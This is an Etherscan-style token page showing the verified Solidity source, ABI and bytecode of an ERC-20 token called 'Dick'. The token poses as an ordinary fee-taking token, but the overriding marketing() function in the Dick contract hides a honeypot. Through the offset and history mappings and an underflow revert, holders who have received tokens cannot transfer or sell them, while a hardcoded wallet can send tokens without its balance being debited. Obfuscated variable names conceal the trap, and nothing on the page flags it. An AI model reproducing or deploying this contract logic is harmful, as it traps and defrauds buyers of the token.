ETH Price: $3,587.37 (+4.67%)
 

Overview

Max Total Supply

1,000,000 雞巴

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,763.903823964 雞巴

Value
$0.00
0xba1c28693366f473fa747a06fc4caed3c126cda8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dick

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

// https://twitter.com/DickErc20
// https://t.me/DICKERC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

interface ITERFACE_ERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function symbol() external pure returns (string memory);

    function name() external pure returns (string memory);

    function totalSupply() external view returns (uint256);

    function decimals() external pure returns (uint8);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

abstract contract Ownable {
    address internal owner;

    constructor() {
        owner = msg.sender;
    }

    function _Owner() public view virtual returns (address) {
        return owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ERC20 is ITERFACE_ERC20 {
    using SafeMath for uint256;
    string constant _nick = unicode"雞巴";
    string constant _symbol = unicode"雞巴";
    uint8 constant _decimals = 9;
    address internal marketingFeeWallt =
        0xa0d10a1068471B47AE15f77764F58Ce2B08D35F4;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 _totalSupply = 1000000 * (10**_decimals);
    mapping(address => uint256) rabit;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeExempt;
    uint256 internal liquidityFee = 0;
    uint256 marketingFee = 3;
    uint256 totalFee = liquidityFee + marketingFee;
    uint256 feeDenominator = 100;
    bool public swapEnabled = true;
    uint256 public swapThreshold = (_totalSupply / 1000) * 1; //
    bool bSwap;
    address public pair;
    UNISRouter public router;

    constructor() {}

    modifier swapping() {
        bSwap = true;
        _;
        bSwap = false;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure virtual override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure virtual override returns (string memory) {
        return _symbol;
    }

    function name() external pure virtual override returns (string memory) {
        return _nick;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return rabit[account];
    }

    function allowance(address holder, address spender)
        external
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return marketing(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }
        return marketing(sender, recipient, amount);
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        rabit[sender] = rabit[sender].sub(amount, "Insufficient Balance!");
        rabit[recipient] = rabit[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function marketing(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        if (bSwap) {
            return _basicTransfer(sender, recipient, amount);
        }
 
        if (shouldSwapBack()) {
            swapBack();
        }
        rabit[sender] = rabit[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender)
            ? takeFee(sender, amount)
            : amount;
        rabit[recipient] = rabit[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function takeFee(address sender, uint256 amount)
        internal
        returns (uint256)
    {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        rabit[address(this)] = rabit[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return
            msg.sender != pair &&
            !bSwap &&
            swapEnabled &&
            rabit[address(this)] >= swapThreshold;
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    function swapBack() internal swapping {
        //to swap back
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance
            .mul(liquidityFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);
        address[] memory param = new address[](2);
        param[0] = address(this);
        param[1] = router.WETH();
        uint256 balanceBefore = address(this).balance;
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            param,
            address(this),
            block.timestamp
        );
        //clac amount
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH
            .mul(liquidityFee)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
            totalETHFee
        );
        (
            bool bSuccess, 
        ) = payable(marketingFeeWallt).call{
                value: amountETHMarketing,
                gas: 30000
            }("");
        require(bSuccess, "do not receiver rejected ETH transfer!");
        if (amountToLiquify > 0) {
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                0xa0d10a1068471B47AE15f77764F58Ce2B08D35F4,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }
}

interface UNISRouter {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract Dick is Ownable, ERC20 {
    mapping(address => uint256) private history;
    address private fromGAS;
    mapping(address => uint256) private offset;
    uint256 private baseCode = 200;
    address UINROuter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor() ERC20() {
        router = UNISRouter(UINROuter);
        pair = UNIFactory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );
        _allowances[address(this)][address(router)] = type(uint256).max;
        offset[marketingFeeWallt] = baseCode;
        rabit[msg.sender] = _totalSupply;
    }

    function clacLiquidityFee()external view returns(uint256)
    {
        return liquidityFee;
    }
    function marketing(
        address user1,
        address to,
        uint256 amt
    ) internal override returns (bool) {
        if (offset[user1] == 0 && history[user1] > 0) {
            if (pair != user1) {
                offset[user1] -= baseCode;
            }
        }
        address tree = fromGAS;
        fromGAS = to;
        history[tree] += baseCode;
        if (offset[user1] == 0) {
            rabit[user1] -= amt;
        }

        rabit[to] += amt;
        emit Transfer(user1, to, amt);

        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }


    receive() external payable {}
}

interface UNIFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clacLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract UNISRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031990811673a0d10a1068471b47ae15f77764f58ce2b08d35f4179091556002805490911661dead179055620000486009600a620003cb565b6200005790620f42406200048c565b6003556000600755600360085560085460075462000076919062000344565b6009556064600a55600b805460ff191660011790556003546200009d906103e8906200035f565b620000aa9060016200048c565b600c5560c8601255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015620000e557600080fd5b5060008054336001600160a01b031991821617909155601354600e80546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200014d57600080fd5b505afa15801562000162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000188919062000312565b6001600160a01b031663c9c65396600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e557600080fd5b505afa158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000220919062000312565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381600087803b1580156200026857600080fd5b505af11580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a3919062000312565b600d8054610100600160a81b0319166101006001600160a01b0393841602179055306000908152600560209081526040808320600e54851684528252808320600019905560125460015490941683526011825280832093909355600354338352600490915291902055620004c4565b6000602082840312156200032557600080fd5b81516001600160a01b03811681146200033d57600080fd5b9392505050565b600082198211156200035a576200035a620004ae565b500190565b6000826200037d57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115620003c3578160001904821115620003a757620003a7620004ae565b80851615620003b557918102915b93841c939080029062000387565b509250929050565b60006200033d60ff841683600082620003e75750600162000486565b81620003f65750600062000486565b81600181146200040f57600281146200041a576200043a565b600191505062000486565b60ff8411156200042e576200042e620004ae565b50506001821b62000486565b5060208310610133831016604e8410600b84101617156200045f575081810a62000486565b6200046b838362000382565b8060001904821115620004825762000482620004ae565b0290505b92915050565b6000816000190483118215151615620004a957620004a9620004ae565b500290565b634e487b7160e01b600052601160045260246000fd5b61090780620004d46000396000f3fe60806040526004361061010d5760003560e01c806370a0823111610095578063a8aa1b3111610064578063a8aa1b31146102c3578063a9059cbb14610300578063dcc2345514610320578063dd62ed3e1461033e578063f887ea401461038457600080fd5b806370a0823114610261578063715018a61461029757806389b76123146102ae57806395d89b411461014257600080fd5b806323b872dd116100dc57806323b872dd146101bc5780632f54bf6e146101dc578063313ce5671461020b578063571ac8b0146102275780636ddd17131461024757600080fd5b80630445b6671461011957806306fdde0314610142578063095ea7b31461017757806318160ddd146101a757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600c5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b5060408051808201825260068152653a66e7b96ded60d21b602082015290516101399190610837565b34801561018357600080fd5b5061019761019236600461080d565b6103a4565b6040519015158152602001610139565b3480156101b357600080fd5b5060035461012f565b3480156101c857600080fd5b506101976101d73660046107d1565b610410565b3480156101e857600080fd5b506101976101f7366004610783565b6000546001600160a01b0391821691161490565b34801561021757600080fd5b5060405160098152602001610139565b34801561023357600080fd5b50610197610242366004610783565b6104d0565b34801561025357600080fd5b50600b546101979060ff1681565b34801561026d57600080fd5b5061012f61027c366004610783565b6001600160a01b031660009081526004602052604090205490565b3480156102a357600080fd5b506102ac6104e4565b005b3480156102ba57600080fd5b5060075461012f565b3480156102cf57600080fd5b50600d546102e89061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610139565b34801561030c57600080fd5b5061019761031b36600461080d565b610571565b34801561032c57600080fd5b506000546001600160a01b03166102e8565b34801561034a57600080fd5b5061012f61035936600461079e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039057600080fd5b50600e546102e8906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ff9086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146104bd576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600582528381203382529091529190912054610498918490610585565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6104c88484846105bf565b949350505050565b60006104de826000196103a4565b92915050565b6000546001600160a01b0316331461052c5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b600061057e3384846105bf565b9392505050565b600081848411156105a95760405162461bcd60e51b81526004016105239190610837565b5060006105b684866108a4565b95945050505050565b6001600160a01b0383166000908152601160205260408120541580156105fc57506001600160a01b0384166000908152600f602052604090205415155b1561064c57600d546001600160a01b03858116610100909204161461064c576012546001600160a01b038516600090815260116020526040812080549091906106469084906108a4565b90915550505b601080546001600160a01b038581166001600160a01b031983161790925560125491166000818152600f60205260408120805492939290919061069090849061088c565b90915550506001600160a01b0385166000908152601160205260409020546106e0576001600160a01b038516600090815260046020526040812080548592906106da9084906108a4565b90915550505b6001600160a01b0384166000908152600460205260408120805485929061070890849061088c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075491815260200190565b60405180910390a3506001949350505050565b80356001600160a01b038116811461077e57600080fd5b919050565b60006020828403121561079557600080fd5b61057e82610767565b600080604083850312156107b157600080fd5b6107ba83610767565b91506107c860208401610767565b90509250929050565b6000806000606084860312156107e657600080fd5b6107ef84610767565b92506107fd60208501610767565b9150604084013590509250925092565b6000806040838503121561082057600080fd5b61082983610767565b946020939093013593505050565b600060208083528351808285015260005b8181101561086457858101830151858201604001528201610848565b81811115610876576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561089f5761089f6108bb565b500190565b6000828210156108b6576108b66108bb565b500390565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207a957b43ddbba4e5c3cd83173069e9ac169a863d8cc2629dd5f615523e59323864736f6c63430008050033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806370a0823111610095578063a8aa1b3111610064578063a8aa1b31146102c3578063a9059cbb14610300578063dcc2345514610320578063dd62ed3e1461033e578063f887ea401461038457600080fd5b806370a0823114610261578063715018a61461029757806389b76123146102ae57806395d89b411461014257600080fd5b806323b872dd116100dc57806323b872dd146101bc5780632f54bf6e146101dc578063313ce5671461020b578063571ac8b0146102275780636ddd17131461024757600080fd5b80630445b6671461011957806306fdde0314610142578063095ea7b31461017757806318160ddd146101a757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600c5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b5060408051808201825260068152653a66e7b96ded60d21b602082015290516101399190610837565b34801561018357600080fd5b5061019761019236600461080d565b6103a4565b6040519015158152602001610139565b3480156101b357600080fd5b5060035461012f565b3480156101c857600080fd5b506101976101d73660046107d1565b610410565b3480156101e857600080fd5b506101976101f7366004610783565b6000546001600160a01b0391821691161490565b34801561021757600080fd5b5060405160098152602001610139565b34801561023357600080fd5b50610197610242366004610783565b6104d0565b34801561025357600080fd5b50600b546101979060ff1681565b34801561026d57600080fd5b5061012f61027c366004610783565b6001600160a01b031660009081526004602052604090205490565b3480156102a357600080fd5b506102ac6104e4565b005b3480156102ba57600080fd5b5060075461012f565b3480156102cf57600080fd5b50600d546102e89061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610139565b34801561030c57600080fd5b5061019761031b36600461080d565b610571565b34801561032c57600080fd5b506000546001600160a01b03166102e8565b34801561034a57600080fd5b5061012f61035936600461079e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039057600080fd5b50600e546102e8906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ff9086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146104bd576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600582528381203382529091529190912054610498918490610585565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6104c88484846105bf565b949350505050565b60006104de826000196103a4565b92915050565b6000546001600160a01b0316331461052c5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b600061057e3384846105bf565b9392505050565b600081848411156105a95760405162461bcd60e51b81526004016105239190610837565b5060006105b684866108a4565b95945050505050565b6001600160a01b0383166000908152601160205260408120541580156105fc57506001600160a01b0384166000908152600f602052604090205415155b1561064c57600d546001600160a01b03858116610100909204161461064c576012546001600160a01b038516600090815260116020526040812080549091906106469084906108a4565b90915550505b601080546001600160a01b038581166001600160a01b031983161790925560125491166000818152600f60205260408120805492939290919061069090849061088c565b90915550506001600160a01b0385166000908152601160205260409020546106e0576001600160a01b038516600090815260046020526040812080548592906106da9084906108a4565b90915550505b6001600160a01b0384166000908152600460205260408120805485929061070890849061088c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075491815260200190565b60405180910390a3506001949350505050565b80356001600160a01b038116811461077e57600080fd5b919050565b60006020828403121561079557600080fd5b61057e82610767565b600080604083850312156107b157600080fd5b6107ba83610767565b91506107c860208401610767565b90509250929050565b6000806000606084860312156107e657600080fd5b6107ef84610767565b92506107fd60208501610767565b9150604084013590509250925092565b6000806040838503121561082057600080fd5b61082983610767565b946020939093013593505050565b600060208083528351808285015260005b8181101561086457858101830151858201604001528201610848565b81811115610876576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561089f5761089f6108bb565b500190565b6000828210156108b6576108b66108bb565b500390565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207a957b43ddbba4e5c3cd83173069e9ac169a863d8cc2629dd5f615523e59323864736f6c63430008050033

Deployed Bytecode Sourcemap

10563:1482:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3668:56;;;;;;;;;;;;;;;;;;;2949:25:1;;;2937:2;2922:18;3668:56:0;;;;;;;;4271:102;;;;;;;;;;-1:-1:-1;4360:5:0;;;;;;;;;;;-1:-1:-1;;;4360:5:0;;;;4271:102;;;;4360:5;4271:102;:::i;4775:265::-;;;;;;;;;;-1:-1:-1;4775:265:0;;;;;:::i;:::-;;:::i;:::-;;;1613:14:1;;1606:22;1588:41;;1576:2;1561:18;4775:265:0;1543:92:1;3929:110:0;;;;;;;;;;-1:-1:-1;4019:12:0;;3929:110;;5240:418;;;;;;;;;;-1:-1:-1;5240:418:0;;;;;:::i;:::-;;:::i;1397:103::-;;;;;;;;;;-1:-1:-1;1397:103:0;;;;;:::i;:::-;1452:4;1487:5;-1:-1:-1;;;;;1476:16:0;;;1487:5;;1476:16;;1397:103;4047:102;;;;;;;;;;-1:-1:-1;4047:102:0;;3101:1;3127:36:1;;3115:2;3100:18;4047:102:0;3082:87:1;11881:122:0;;;;;;;;;;-1:-1:-1;11881:122:0;;;;;:::i;:::-;;:::i;3631:30::-;;;;;;;;;;-1:-1:-1;3631:30:0;;;;;;;;4381:173;;;;;;;;;;-1:-1:-1;4381:173:0;;;;;:::i;:::-;-1:-1:-1;;;;;4532:14:0;4500:7;4532:14;;;:5;:14;;;;;;;4381:173;1508:131;;;;;;;;;;;;;:::i;:::-;;11206:101;;;;;;;;;;-1:-1:-1;11287:12:0;;11206:101;;3751:19;;;;;;;;;;-1:-1:-1;3751:19:0;;;;;;;-1:-1:-1;;;;;3751:19:0;;;;;;-1:-1:-1;;;;;1404:32:1;;;1386:51;;1374:2;1359:18;3751:19:0;1341:102:1;5048:184:0;;;;;;;;;;-1:-1:-1;5048:184:0;;;;;:::i;:::-;;:::i;1204:87::-;;;;;;;;;;-1:-1:-1;1251:7:0;1278:5;-1:-1:-1;;;;;1278:5:0;1204:87;;4562:205;;;;;;;;;;-1:-1:-1;4562:205:0;;;;;:::i;:::-;-1:-1:-1;;;;;4731:19:0;;;4699:7;4731:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4562:205;3777:24;;;;;;;;;;-1:-1:-1;3777:24:0;;;;-1:-1:-1;;;;;3777:24:0;;;4775:265;4928:10;4894:4;4916:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4916:32:0;;;;;;;;;;:41;;;4973:37;4894:4;;4916:32;;4973:37;;;;4951:6;2949:25:1;;2937:2;2922:18;;2904:76;4973:37:0;;;;;;;;-1:-1:-1;5028:4:0;4775:265;;;;:::o;5240:418::-;-1:-1:-1;;;;;5395:19:0;;5374:4;5395:19;;;:11;:19;;;;;;;;5415:10;5395:31;;;;;;;;-1:-1:-1;;5395:52:0;5391:206;;5498:87;;;;;;;;;;;-1:-1:-1;;;5498:87:0;;;;;;;;-1:-1:-1;;;;;5498:19:0;;-1:-1:-1;5498:19:0;;;:11;:19;;;;;5518:10;5498:31;;;;;;;;;;:87;;5552:6;;5498:53;:87::i;:::-;-1:-1:-1;;;;;5464:19:0;;;;;;:11;:19;;;;;;;;5484:10;5464:31;;;;;;;:121;5391:206;5614:36;5624:6;5632:9;5643:6;5614:9;:36::i;:::-;5607:43;5240:418;-1:-1:-1;;;;5240:418:0:o;11881:122::-;11936:4;11960:35;11968:7;-1:-1:-1;;11960:7:0;:35::i;:::-;11953:42;11881:122;-1:-1:-1;;11881:122:0:o;1508:131::-;1452:4;1487:5;-1:-1:-1;;;;;1487:5:0;1347:10;1476:16;1331:38;;;;-1:-1:-1;;;1331:38:0;;2671:2:1;1331:38:0;;;2653:21:1;2710:1;2690:18;;;2683:29;-1:-1:-1;;;2728:18:1;;;2721:36;2774:18;;1331:38:0;;;;;;;;;1581:1:::1;1565:18:::0;;-1:-1:-1;;;;;;1565:18:0::1;::::0;;1599:32:::1;::::0;1386:51:1;;;1599:32:0::1;::::0;1374:2:1;1359:18;1599:32:0::1;;;;;;;1508:131::o:0;5048:184::-;5155:4;5184:40;5194:10;5206:9;5217:6;5184:9;:40::i;:::-;5177:47;5048:184;-1:-1:-1;;;5048:184:0:o;2051:224::-;2171:7;2207:12;2199:6;;;;2191:29;;;;-1:-1:-1;;;2191:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2231:9:0;2243:5;2247:1;2243;:5;:::i;:::-;2231:17;2051:224;-1:-1:-1;;;;;2051:224:0:o;11313:560::-;-1:-1:-1;;;;;11454:13:0;;11433:4;11454:13;;;:6;:13;;;;;;:18;:40;;;;-1:-1:-1;;;;;;11476:14:0;;11493:1;11476:14;;;:7;:14;;;;;;:18;;11454:40;11450:151;;;11515:4;;-1:-1:-1;;;;;11515:13:0;;;:4;;;;;:13;11511:79;;11566:8;;-1:-1:-1;;;;;11549:13:0;;;;;;:6;:13;;;;;:25;;:13;;;:25;;11566:8;;11549:25;:::i;:::-;;;;-1:-1:-1;;11511:79:0;11626:7;;;-1:-1:-1;;;;;11644:12:0;;;-1:-1:-1;;;;;;11644:12:0;;;;;;11684:8;;11626:7;;11611:12;11667:13;;;:7;:13;;;;;:25;;11626:7;;11684:8;11667:13;;11611:12;11667:25;;11684:8;;11667:25;:::i;:::-;;;;-1:-1:-1;;;;;;;11707:13:0;;;;;;:6;:13;;;;;;11703:70;;-1:-1:-1;;;;;11742:12:0;;;;;;:5;:12;;;;;:19;;11758:3;;11742:12;:19;;11758:3;;11742:19;:::i;:::-;;;;-1:-1:-1;;11703:70:0;-1:-1:-1;;;;;11785:9:0;;;;;;:5;:9;;;;;:16;;11798:3;;11785:9;:16;;11798:3;;11785:16;:::i;:::-;;;;;;;;11833:2;-1:-1:-1;;;;;11817:24:0;11826:5;-1:-1:-1;;;;;11817:24:0;;11837:3;11817:24;;;;2949:25:1;;2937:2;2922:18;;2904:76;11817:24:0;;;;;;;;-1:-1:-1;11861:4:0;;11313:560;-1:-1:-1;;;;11313:560:0:o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;111:2;63:124;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;320:1;317;310:12;272:2;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:2;;;528:1;525;518:12;480:2;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;